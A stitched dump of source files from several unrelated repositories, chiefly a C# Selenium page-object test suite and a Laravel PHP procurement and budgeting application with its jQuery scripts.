stopPropagation: () => {} }, { key: 'enter', isShift: true }, change ); expect(ret === null).toBe(true); }; <file_sep>const expect = require('expect'); module.exports = function(plugin, change) { const { state } = change; const selectedBlock = state.document.getDescendant('current_item'); change.moveToRangeOf(selectedBlock); const previousItem = plugin.utils.getPreviousItem(change.state); expect(previousItem.key).toBe('previous_item'); }; <file_sep> module.exports = function(plugin, change) { return change.call(plugin.changes.increaseItemDepth); };
10a84e34e399180730e736e3a23e54cc4a880213
[ "JavaScript" ]
11
JavaScript
isaldin/slate-edit-list
2ab5c0a581c71890f351069658580e620d72686f
e2e645c1cb7f0d630377ecf51b9e4824b038d342
refs/heads/master
<repo_name>NataliaMirandadeMoura/Page-Object<file_sep>/VideoLessons/src/VideoLessons.TestSelenium/Screens/HomeScreen.cs using System; using Microsoft.Extensions.Configuration; using OpenQA.Selenium; using VideoLessons.TestSelenium.Utils; namespace VideoLessons.TestSelenium.Screens{ public class HomeScreen:BaseScreen { public HomeScreen(IConfiguration configuration, Browser browser): base(configuration, browser) { } public string GetServices(){ WaitToHtml(TimeSpan.FromSeconds(10), By.Id("servicos")); string response = _webDriver.GetHtml(By.Id("servicos")); return response; } } }<file_sep>/VideoLessons/src/VideoLessons.TestSelenium/Utils/WebDriverExtensions.cs using OpenQA.Selenium; using System; namespace VideoLessons.TestSelenium.Utils{ public static class WebDriverExtensions { public static void LoadPage(this IWebDriver webDriver, TimeSpan timeToWait , string url) { webDriver.Manage().Timeouts().PageLoad = timeToWait; webDriver.Navigate().GoToUrl(url); } public static string GetHtml(this IWebDriver webDriver, By by) { IWebElement webElement = webDriver.FindElement(by); return webElement.GetAttribute("innerHTML"); } public static void SetText(this IWebDriver webDriver, By by, string value) { IWebElement webElement = webDriver.FindElement(by); webElement.SendKeys(value); } public static void Submit(this IWebDriver webDriver, By by) { IWebElement webElement = webDriver.FindElement(by); webElement.Submit(); } } } <file_sep>/VideoLessons/src/VideoLessons.TestSelenium/Tests/BaseTest.cs using Microsoft.Extensions.Configuration; using System.IO; namespace VideoLessons.TestSelenium.Tests { public class BaseTest{ protected IConfiguration _configuration; public BaseTest() { var builder = new ConfigurationBuilder() .SetBasePath(Directory.GetCurrentDirectory()) .AddJsonFile("appsettings.json"); _configuration = builder.Build(); } } }<file_sep>/VideoLessons/src/VideoLessons.TestSelenium/Screens/LoginScreen.cs using System; using Microsoft.Extensions.Configuration; using OpenQA.Selenium; using VideoLessons.TestSelenium.Utils; namespace VideoLessons.TestSelenium.Screens{ public class LoginScreen:BaseScreen { public LoginScreen(IConfiguration configuration, Browser browser): base(configuration, browser) { } public void SetText(string element, string value) { _webDriver.SetText(By.Id(element), value); } public void Submit() { _webDriver.Submit(By.Id("entrar")); } public string GetUserLogin(){ WaitToHtml(TimeSpan.FromSeconds(10), By.ClassName("texto-branco")); string response = _webDriver.GetHtml(By.ClassName("texto-branco")); return response; } public string GetErrorMessage(){ WaitToHtml(TimeSpan.FromSeconds(10), By.Id("mensagemDeErro")); string response = _webDriver.GetHtml(By.Id("mensagemDeErro")).Trim(); return response; } } <file_sep>/VideoLessons/src/VideoLessons.TestSelenium/Screens/BaseScreen.cs using Microsoft.Extensions.Configuration; using OpenQA.Selenium; using OpenQA.Selenium.Support.UI; using System; using VideoLessons.TestSelenium.Utils; namespace VideoLessons.TestSelenium.Screens { public class BaseScreen { protected readonly IConfiguration _configuration; protected readonly Browser _browser; protected IWebDriver _webDriver; public BaseScreen(IConfiguration configuration, Browser browser) { _configuration = configuration; _browser = browser; _webDriver = WebDriverFactory.CreateWebDriver(browser, configuration.GetSection("Selenium:Drivers:Path").Value, false); } public void LoadScreen(string url) { _webDriver.LoadPage(TimeSpan.FromSeconds(15), url); _webDriver.Manage().Window.Maximize(); } public void CloseScreen() { _webDriver.Quit(); _webDriver = null; } public void WaitToHtml(TimeSpan secondsToWait, By by) { WebDriverWait wait = new WebDriverWait(_webDriver, secondsToWait); wait.Until(x => !string.IsNullOrEmpty(x.FindElement(by).GetAttribute("innerHTML"))); } public void WaitByValue( TimeSpan secondsToWait, By by) { WebDriverWait wait = new WebDriverWait(_webDriver, secondsToWait); wait.Until(x => !string.IsNullOrEmpty(x.FindElement(by).GetAttribute("value"))); } } } <file_sep>/VideoLessons/src/VideoLessons.TestSelenium/Tests/HomeTest.cs using VideoLessons.TestSelenium.Screens; using VideoLessons.TestSelenium.Utils; using Xunit; namespace VideoLessons.TestSelenium.Tests{ public class HomeTest:BaseTest { [Theory] [InlineData(Browser.Chrome)] public void DeveCarregarTelaComSucesso(Browser browser) { HomeScreen homeScreen = new HomeScreen(_configuration, browser); string response; try{ homeScreen.LoadScreen(_configuration.GetSection("Selenium:Urls:Home").Value); response = homeScreen.GetServices(); } catch(System.Exception ex){ throw ex; }finally{ homeScreen.CloseScreen(); } Assert.True(!string.IsNullOrEmpty(response)); } } } <file_sep>/VideoLessons/src/VideoLessons.TestSelenium/Tests/LoginTest.cs using VideoLessons.TestSelenium.Screens; using VideoLessons.TestSelenium.Utils; using Xunit; namespace VideoLessons.TestSelenium.Tests{ public class LoginTest:BaseTest { private readonly LoginScreen _loginScreen; public LoginTest() { _loginScreen = new LoginScreen(_configuration, Browser.Chrome); } [Theory] [InlineData("pri", "teamo")] public void DeveRealizarLoginComSucesso(string login, string password) { string response=null; try{ _loginScreen.LoadScreen(_configuration.GetSection("Selenium:Urls:Login").Value); _loginScreen.SetText("login", login); _loginScreen.SetText("senha", password); _loginScreen.Submit(); response = _loginScreen.GetUserLogin(); } catch(System.Exception e) { throw e; }finally{ _loginScreen.CloseScreen(); } Assert.True(!string.IsNullOrEmpty(response)); Assert.Equal(response, "PRISCILA ALVES ANTUNES BEM VINDO AO PORTAL DO ALUNO DA ESCOLA <strong>ECO APRENDER</strong>"); } } } <file_sep>/VideoLessons/src/VideoLessons.TestSelenium/Utils/WebDriverFactory.cs using OpenQA.Selenium; using OpenQA.Selenium.Chrome; using OpenQA.Selenium.Firefox; namespace VideoLessons.TestSelenium.Utils { public static class WebDriverFactory { public static IWebDriver CreateWebDriver(Browser browser, string pathDriver, bool headless) { IWebDriver webDriver = null; switch(browser) { case Browser.Chrome: ChromeOptions chromeOptions = new ChromeOptions(); if(headless){ chromeOptions.AddArgument("--headless"); } webDriver = new ChromeDriver(pathDriver, chromeOptions); break; case Browser.Firefox: FirefoxOptions firefoxOptions = new FirefoxOptions(); if(headless){ firefoxOptions.AddArgument("--headless--"); } webDriver = new FirefoxDriver(pathDriver, firefoxOptions); break; } return webDriver; } } }
35f45108fa059a19b032cc8e17ee0f1c2626e736
[ "C#" ]
8
C#
NataliaMirandadeMoura/Page-Object
b86513dacd5c349e33dcfc26ac596da344cba8f6
f79bb63bf97f02b03a986a05d6a5262df68d191a
refs/heads/master
<file_sep># Write your code here. def line (line) counter = 0 line_list = [] if line.length == 0 puts "The line is currently empty." else while counter < line.length line_list.push("#{counter+1}. #{line[counter]}") counter += 1 end puts "The line is currently: #{line_list.join(" ")}" end end def take_a_number (line, name) if line.length == 0 || line.length > 0 line << name else nil end puts "Welcome, #{line[-1]}. You are number #{line.length} in line." end def now_serving (line_array) if line_array.length == 0 puts "There is nobody waiting to be served!" else puts "Currently serving #{line_array.shift}." end end
66385497782e6d62e37f1fad33b0758811d98445
[ "Ruby" ]
1
Ruby
FillanL/deli-counter-nyc-web-career-021819
fc71f95698cee158c994516ac612d345ac8cbd2f
66b3d28147dc9aadaaf1c254348123a3945b1afb
refs/heads/master
<file_sep><?php namespace App\Http\Requests; use Illuminate\Foundation\Http\FormRequest; class RequisicionRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'actividad' => 'required', //'unidad_admin' => 'required', 'fuente_financiamiento' => 'required', 'justificacion' => 'required', 'requisiciones' => 'required', ]; } public function messages() { return [ 'actividad.required'=>'El campo actividad es obligatoria', 'unidad_admin.required' => 'El campo unidad administrativa es obligatoria', 'fuente_financiamiento.required' => 'El campo fuente de financiamiento es obligatoria', 'justificacion' => 'La justifiacion es obligatoria', 'requisiciones.required' => 'El obligatorio al menos ingresar un material' ]; } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Requisicion; use App\Requisiciondetalle; use App\Unidad; use App\UnidadMedida; use DB; use App\Http\Requests\RequisicionRequest; class RequisicionController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth'); } public function index() { $requisiciones = Requisicion::where('estado',1)->get(); return view('requisiciones.index',compact('requisiciones')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $unidades=Unidad::pluck('nombre_unidad', 'id'); $medidas = UnidadMedida::all(); return view('requisiciones.create',compact('unidades','medidas')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(RequisicionRequest $request) { if($request->ajax()) { DB::beginTransaction(); try{ $requisiciones = $request->requisiciones; $requisicion = Requisicion::create([ 'actividad' => $request->actividad, 'unidad_id' => $request->unidad_admin, 'linea_trabajo' => $request->linea_trabajo, 'fuente_financiamiento' => $request->fuente_financiamiento, 'justificacion' => $request->justificacion, ]); foreach($requisiciones as $requi){ Requisiciondetalle::create([ 'requisicion_id' => $requisicion->id, 'cantidad' => $requi['cantidad'], 'unidad_medida' => $requi['unidad'], 'descripcion' => $requi['descripcion'], ]); } DB::commit(); return response()->json([ 'mensaje' => 'exito' ]); }catch (\Exception $e){ DB::rollback(); return response()->json([ 'mensaje' => 'error' ]); } } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $requisicion = Requisicion::findorFail($id); //$detalles = Requisiciondetalle::where('requisicion_id',$requisicion->id)->get(); //dd($requisicion); return view('requisiciones.show',compact('requisicion')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $requisicion=Requisicion::findorFail($id); $unidades=Unidad::pluck('nombre_unidad', 'id'); $medidas = UnidadMedida::all(); return view('requisiciones.edit',compact('requisicion','medidas','unidades')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, Requisicion $requisicione) { $requisicione->fill($request->All()); $requisicione->save(); return redirect('/requisiciones')->with('mensaje','Requisición modificada con éxito'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy(Requisicion $requisicione) { } } <file_sep>import angular from 'angular' import restangular from 'restangular' import ngMap from 'ngMap' module.exports.controllers = angular.module('projects.labfarmacia.controllers', []) module.exports.plugins = angular.module('projects.plugins.controllers', [ 'restangular', 'ngMap', ]) <file_sep>var contador=0; $(document).ready(function(){ var tbRequisicion = $("#tbRequisicion"); $("#agregar").on("click",function(e){ e.preventDefault(); cant = $("#cantidad").val() || 0; unidad = $("#unidad_medida option:selected").text() || 0; descripcion = $("#descripcion").val() || 0; if(cant && unidad && descripcion) { contador++; $(tbRequisicion).append(//$() Para hacer referencia "<tr data-descripcion='"+descripcion+"' data-cantidad='"+cant+"' data-unidad='"+unidad+"'>"+ "<td>"+descripcion+"</td>"+ "<td>"+cant+"</td>"+ "<td>"+unidad+"</td>"+ "<td>" + "<button type='button' class='btn btn-danger btn-xs' id='eliminar'><span class='glyphicon glyphicon-remove'></span></button></td>" + "</tr>" ); $("#contador").val(contador); limpiar(); }else { { swal( '¡Aviso!', 'Debe llenar todos los campos', 'warning') } } }); $("#proyecto").on("change", function(){ var id = $(this).val(); //alert(id); }); $("#btnguardar").on("click", function(){ var ruta = "/"+carpeta()+"/public/requisiciones"; var token = $('meta[name="csrf-token"]').attr('content'); var total = $("#total").val(); var unidad_admin = $("#unidad_admin").val(); var actividad = $("#actividad").val(); var linea_trabajo = $("#linea_trabajo").val(); var fuente_financiamiento = $("#fuente_financiamiento").val(); var justificacion = $("#justificacion").val(); var requisiciones = new Array(); $(cuerpo).find("tr").each(function (index, element) { if(element){ requisiciones.push({ descripcion: $(element).attr("data-descripcion"), cantidad :$(element).attr("data-cantidad"), unidad : $(element).attr("data-unidad") }); } }); // console.log(unidad_admin); /////////////////////////////////////////////////// funcion ajax para guardar /////////////////////////////////////////////////////////////////// $.ajax({ url: ruta, headers: {'X-CSRF-TOKEN':token}, type:'POST', dataType:'json', data: {unidad_admin,actividad,linea_trabajo,justificacion,fuente_financiamiento,requisiciones}, success : function(msj){ console.log(msj); if(msj.mensaje == 'exito'){ window.location.href = "/"+carpeta()+"/public/requisiciones"; console.log(msj); toastr.success('Presupuesto registrado éxitosamente'); }else{ toastr.error('Ocurrió un error, contacte al administrador'); } }, error: function(data, textStatus, errorThrown){ toastr.error('Ha ocurrido un '+textStatus+' en la solucitud'); $.each(data.responseJSON.errors, function( key, value ) { toastr.error(value); }); } }); }); $(document).on("click","#eliminar",function(e){ var tr= $(e.target).parents("tr"); tr.remove(); contador--; $("#contador").val(contador); }); function limpiar(){ $("#requisicion").find("#cantidad, #descripcion, #unidad_medida").each(function(index, element){ $(element).val(""); $("#unidad_medida").trigger('chosen:updated'); }); } }); <file_sep>var app6 = new Vue({ el: '#app-6', data: { message: '' } }); Vue.component('cargos-list',{ }); <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Solicitudcotizacion; use App\Bitacora; use App\Categoria; use App\Http\Requests\SolicitudcotizacionRequest; use App\Formapago; use App\Proyecto; use App\Unidad; use App\Presupuesto; use App\Presupuestodetalle; use App\PresupuestoSolicitud; use DB; class SolicitudcotizacionController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth'); } public function index(Request $request) { //dd(Solicitudcotizacion::correlativo()); //dd(Categoria::categoria_nombre(1)); $estado = $request->get('estado'); if($estado=="" || $estado==1){ $estado=1; $solicitudes = PresupuestoSolicitud::with('presupuesto')->where('estado',$estado)->get(); return view('solicitudcotizaciones.index',compact('solicitudes','estado')); }else if($estado==2){ $solicitudes = PresupuestoSolicitud::with('presupuesto')->where('estado',$estado)->get(); return view('solicitudcotizaciones.index',compact('solicitudes','estado')); }else if($estado==3){ $solicitudes = PresupuestoSolicitud::with('presupuesto')->where('estado',$estado)->get(); return view('solicitudcotizaciones.index',compact('solicitudes','estado')); } } public function getPresupuesto($idc,$idp) { $proyecto=Proyecto::findorFail($idp); $presupuesto = Presupuesto::where('proyecto_id',$proyecto->id)->where('categoria_id',$idc)->with('presupuestodetalle')->first(); return Presupuestodetalle::where('presupuesto_id',$presupuesto->id)->with('catalogo')->get(); } public function getCategorias($id) { $proyecto=Proyecto::findorFail($id); return $presupuesto=Presupuesto::where('proyecto_id',$proyecto->id)->where('estado',1)->with('categoria')->get(); } public function versolicitudes($id) { $proyecto=Proyecto::findorFail($id); //$presupuesto=Presupuesto::where('proyecto_id',$proyecto->id)->get(); return view('solicitudcotizaciones.porproyecto',compact('proyecto')); } public function cambiar(Request $request) { if($request->ajax()){ try{ $proyecto=Proyecto::findorFail($request->idp); $proyecto->estado=5; $proyecto->save(); $solicitud=PresupuestoSolicitud::findorFail($request->idps); $solicitud->estado=2; $solicitud->save(); return response()->json([ 'mensaje' => 'exito' ]); }catch(\Exception $e){ return response()->json([ 'mensaje' => $e ]); } } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create($id) { $proyecto = Proyecto::findorFail($id); $formapagos = Formapago::all(); $unidades = Unidad::all(); return view('solicitudcotizaciones.create',compact('formapagos','proyecto','unidades')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { //dd($request->All()); DB::beginTransaction(); try{ $presupuesto = Presupuesto::where('categoria_id',$request->categoria)->where('proyecto_id',$request->proyecto)->first(); $solicitud=Solicitudcotizacion::create([ "formapago_id" => $request->formapago, "unidad" => $request->unidad, "encargado" => $request->encargado, "cargo_encargado" => $request->cargo, "lugar_entrega" => $request->lugar_entrega, "numero_solicitud" => Solicitudcotizacion::correlativo(), 'fecha_limite' => invertir_fecha($request->fecha_limite), 'tiempo_entrega' => $request->tiempo_entrega, ]); $presupuesto->estado=2; $presupuesto->save(); $pre=PresupuestoSolicitud::create([ 'solicitudcotizacion_id' => $solicitud->id, 'presupuesto_id' => $presupuesto->id, 'categoria_id' => $request->categoria, ]); $presuu=Presupuesto::where('estado',1)->count(); if($presuu==0){ $proyecto=Proyecto::findorFail($request->proyecto); $proyecto->estado=4; $proyecto->save(); DB::commit(); return redirect('solicitudcotizaciones/versolicitudes/'.$proyecto->id)->with('mensaje','Solicitud registrada con éxito'); } DB::commit(); return redirect('proyectos')->with('mensaje','Solicitud registrada con éxito'); }catch(\Exception $e){ dd($e); DB::rollback(); return redirect('solicitudcotizaciones/create')->with('error','Ocurrió un error '.$e->getMessage()); } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $solicitud=PresupuestoSolicitud::findorFail($id); $presupuesto = Presupuesto::where('categoria_id', $solicitud->categoria_id)->firstorFail(); return view('solicitudcotizaciones.show',compact('solicitud','presupuesto')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $solicitud = Solicitudcotizacion::findorFail($id); $formapagos = Formapago::all(); $unidades = Unidad::all(); $proyectos = Proyecto::where('estado',1)->where('presupuesto',true)->get(); return view('solicitudcotizaciones.edit',compact('solicitud','formapagos','unidades','proyectos')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddCatalogoIdToPresupuestodetalles extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('presupuestodetalles', function (Blueprint $table) { $table->dropColumn('material'); $table->dropColumn('item'); $table->dropColumn('categoria'); $table->dropColumn('unidad'); $table->bigInteger('catalogo_id')->unsigned(); $table->foreign('catalogo_id')->references('id')->on('catalogos'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('presupuestodetalles', function (Blueprint $table) { $table->string('material')->nullable(); $table->integer('item')->nullable(); $table->string('categoria')->nullable(); $table->string('unidad')->nullable(); $table->dropForeign('presupuestodetalles_catalogo_id_foreign'); $table->dropColumn('catalogo_id'); }); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Tipopago; use App\Bitacora; use App\Http\Requests\TipopagoRequest; class TipopagoController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth'); } public function index() { $tipopagos = Tipopago::all(); return view('tipopagos.index', compact('tipopagos')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $tipopagos = Tipopago::all(); return view('tipopagos.create',compact('tipopagos')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { Tipopago::create($request->All()); return redirect('tipopagos')->with('mensaje','Tipo de pago registrado'); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $tipopago = Tipopago::findorFail($id); return view('tipopagos.show',compact('tipopago')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $tipopago = Tipopago::find($id); return view('tipopagos.edit',compact('tipopago')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep>import angular from 'angular' import app from './app' require('./config/run') require('./controllers') angular.bootstrap(document, ['projects.labfarmacia.app']) <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Correosolicitud extends Model { // } <file_sep>$(document).ready(function(){ listartodos(); var idproyecto = $("#proyecto").val(); listadeempleados(idproyecto); $("#agregarf").on("click", function(e){ var fn = $("#txtfuncion").val(); var funcion = fn.toUpperCase(); if(funcion != ""){ $("#funciones").append("<li data-funcion='"+funcion+"'> "+funcion+"<div class='btn-group'><button type='button' id='btneditar' class='btn btn-primary btn-xs'><i class='glyphicon glyphicon-edit'></i></button><button type='button' id='btnquitar' class='btn btn-warning btn-xs'><i class='glyphicon glyphicon-remove'></i></button> </div></li>"); $("#txtfuncion").val(""); }else{ swal( '¡Aviso!', 'Debe digitar una función', 'warning' ); } }); /*$("#proyecto").on("change", function(e){ var idproyecto = (this.value); listadeempleados(idproyecto); });*/ //Código para guardar $("#guardar").on("click", function(e){ var funciones = new Array(); var proyecto = $("#proyecto").val(); var empleado = $("#empleado").val(); var fecharevision = $("#fecharevision").val(); var cargo = $("#cargo").val(); var salario =$("#salario").val(); var ruta = "/"+carpeta()+"/public/contratacionproyectos"; var token = $('meta[name="csrf-token"]').attr('content'); $('#funciones li').each(function(i){ funciones.push({ funcion: $(this).attr("data-funcion"), }); }); if(funciones != ''){ $.ajax({ url: ruta, headers: {'X-CSRF-TOKEN':token}, type:'POST', dataType:'json', data:{funciones,proyecto,empleado,cargo,salario,fecharevision}, success: function(msj){ if(msj.mensaje == "exito"){ toastr.success('Registro creado exitosamente'); console.log(msj.mensaje); limpiar(); listartodos(); }else{ toastr.error("error al guardar"); console.log(msj); } }, error: function(msj){ toastr.error("error"); console.log(msj); } }); }else{ swal( '¡Aviso!', 'Debe agregar por lo menos una función', 'warning' ); } }); $('#guardarempleado').on("click", function(e){ var retorno = guardarEmp(); if(retorno===1){ listadeempleados(idproyecto); //console.log(idproyecto); //$("#empleado").trigger('chosen:updated'); } }); $(document).on("click","#btneditar", function(e){ var li = $(e.target).parents("li"); var funcion=$(this).parents('li').text(); $(document).find("#txtfuncion").val(funcion); li.remove(); }); // con este codigo se elimina un elemento de la lista de funciones $(document).on("click","#btnquitar", function(e){ var li = $(e.target).parents("li"); li.remove(); }); //funcion para cargar los empleados function listadeempleados(idp){ $.get('/'+carpeta()+'/public/contratacionproyectos/listadeempleados/'+idp , function(data){ var html_select = '<option value="">Seleccione un empleado</option>'; $(decodificar(data)).each(function(key, value){ html_select +='<option value="'+value.id+'">'+value.nombre+'</option>'; $("#empleado").html(html_select); $("#empleado").trigger('chosen:updated'); }); }); } function listartodos(){ $.get('/'+carpeta()+'/public/contratacionproyectos/todos' , function(data){ var contador=0; $(cuerpo).empty(); $(decodificar(data)).each(function(key, value){ contador++; $(cuerpo).append( "<tr>"+ "<td>" + contador + "</td>" + "<td>" + value.empleado.nombre + "</td>" + "<td>" + value.cargo + "</td>"+ "<td>$" + value.salario+ "</td>" + "<td><div class='btn-group'>"+ "<a onClick='veresto("+value.id+")' data-toggle='modal' data-target='#verinformacion' title='Ver funciones' class='btn btn-primary btn-xs'><i class='glyphicon glyphicon-eye-open'></i></a>"+ "</div></td>"+ "</tr>" ); }); }); } function limpiar(){ listadeempleados(idproyecto); $("#empleado").trigger('chosen:updated'); $("#txtfuncion").val(""); $("#fecharevision").val(""); $("#cargo").val(""); $("#salario").val(""); $("#funciones").empty(); } }); function veresto(id){ //$("#mostrar").text("hola "+id); $.get('/'+carpeta()+'/public/contratacionproyectos/vercontratado/'+id , function(data){ $(decodificar(data)).each(function(key, value){ $("#nomemp").text(value.empleado.nombre); $("#fecharev").text(fecha_espaniol(value.fecha_revision)); $("#inicontrato").text(fecha_espaniol(value.contrato_proyecto.inicio_contrato)); $("#fincontrato").text(fecha_espaniol(value.contrato_proyecto.fin_contrato)); $("#horae").text(value.contrato_proyecto.hora_entrada); $("#horas").text(value.contrato_proyecto.hora_salida); $("#sal").text("$"+value.salario); $("#vercargo").text(value.cargo); var cont=0; $("#cuerpito").empty(); $(value.epfuncione).each(function(key,value2){ cont++; $("#cuerpito").append("<tr>"+ "<td>"+cont+"</td>"+ "<td>"+value2.funcion+"</td>"+ "</tr>"); }); }); }); } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Proveedor extends Model { protected $dates = ['created_at','updated_at','fechabaja']; protected $guarded = []; public static function Buscar($estado) { return Proveedor::estado($estado); } public function scopeEstado($query,$estado) { return $query->where('estado', $estado); } public function cotizacion() { return $this->hasMany('App\Cotizacion'); } public function contratosuministro() { return $this->hasMany('App\Contratosuministro'); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\ContratoSuministro; use App\Proveedor; use App\Requisicion; use App\Bitacora; class ContratoSuministroController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth'); } public function index() { $contratosuministros = ContratoSuministro::all(); return view('contratosuministros.index',compact('contratosuministros')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { dd($requisiciones); $proveedores = Proveedor::all(); $requisiciones = Requisicion::all(); $contratosuministros = ContratoSuministro::all(); return view('contratosuministros.create',compact('proveedores','requisiciones','contratosuministros')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { ContratoSuministro::crate($request->All()); return redirect('contratosuministros')->with('mensaje','Contrato registrado'); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $contratosuministro = ContratoSuministro::findorFail($id); return view('contratosuministros.show',compact('contratosuministro')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $contratosuministro = ContratoSuministro::find($id); return view('contratosuministros.edit',compact('contratosuministro')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $contratosuministro = ContrataSuministro::find($id); $contratosuministro->fill($request->All()); $contratosuministro->save(); bitacora('Modificó contrato'); return redirect('contratosuministros')->with('mensaje','Registro modificado'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } public function baja($cadena) { $datos = explode("+", $cadena); $id = $datos[0]; $motivobaja = $datos[1]; $contratosuministro = ContratoSuministro::find($id); $contratosuministro->estado = 2; $contratosuministro->motivobaja = $motivobaja; $contratosuministro->fecha_baja = date('Y-m-d'); $suministro->save(); bitacora('Dió de baja contratro'); return redirect('/suministros')->with('mensaje', 'Contrato dado de baja'); } public function alta($id) { $contratosuministro = ContratoSuministro::find($id); $contratosuministro->estado = 1; $contratosuministro->motivobaja = null; $contratosuministro->fecha_baja = null; $contratosuministro->save(); Bitacora::bitacora('Dió de alta un contrato'); return redirect('/contratosuministros')->with('mensaje','Contrato dado de alta'); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Paac; use App\Paacdetalle; use DB; class PaacdetalleController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $paac = Paacdetalle::findorFail($id); return view('paacs.editdetalle',compact('paac')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { DB::beginTransaction(); try{ $detalle = Paacdetalle::findorFail($id); $total=$request->enero+$request->febrero+$request->marzo+$request->abril+$request->mayo+$request->junio+$request->julio+$request->agosto+$request->septiembre+$request->octubre+$request->noviembre+$request->diciembre; $detalle->fill($request->All()); $detalle->subtotal=$total; $detalle->save(); $detalles = Paacdetalle::where('paac_id',$detalle->paac_id)->get(); $totalito=0; foreach($detalles as $valor){ $totalito=$totalito+$valor->subtotal; } $paac = Paac::findorFail($detalle->paac_id); $paac->total=$totalito; $paac->save(); DB::commit(); return redirect('paacs/'.$paac->id)->with('mensaje','Actualizado con exito'); }catch (\Exception $e){ DB::rollback(); return redirect('paacdetalles/'.$id.'/edit')->with('error','Paac con error '.$e->getMessage()); } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $detalle = Paacdetalle::findorFail($id); $paac = Paac::findorFail($detalle->paac_id); $total=$paac->total; $paac->total=$total-$detalle->subtotal; $paac->save(); $detalle->delete(); return redirect('paacs/'.$paac->id)->with('mensaje','Actualizado con exito'); } } <file_sep>$(document).ready(function(){ var proy=$("#proyecto").val(); listarcategorias(proy); $("#categoria").change(function(){ var idc = ( this.value ); var idp = $("#proyecto").val(); $.get('/'+carpeta()+'/public/solicitudcotizaciones/getpresupuesto/'+idc+'/'+idp , function(data){ //console.log(data); $(cuerpo).empty(); console.log(data); $(data).each(function(key, value){ $(cuerpo).append( "<tr>"+ "<td>" + value.catalogo.nombre + "</td>" + "<td>" + value.catalogo.unidad_medida + "</td>" + "<td>" + value.cantidad + "</td>" + "<td></td>"+ "<td></td>"+ "</tr>" ); }); }); }); function listarcategorias(idc) { $.get('/'+carpeta()+'/public/solicitudcotizaciones/getcategorias/'+idc , function(data){ var html_select = '<option value="">Seleccione una categoría</option>'; $(data).each(function(key, value){ html_select +='<option value="'+value.categoria_id+'">'+value.categoria.item+' '+ value.categoria.nombre_categoria+'</option>' //console.log(data[i]); $("#categoria").html(html_select); $("#categoria").trigger('chosen:updated'); }); }); } }); <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Contribuyente; use App\Impuesto; use App\Construccion; use 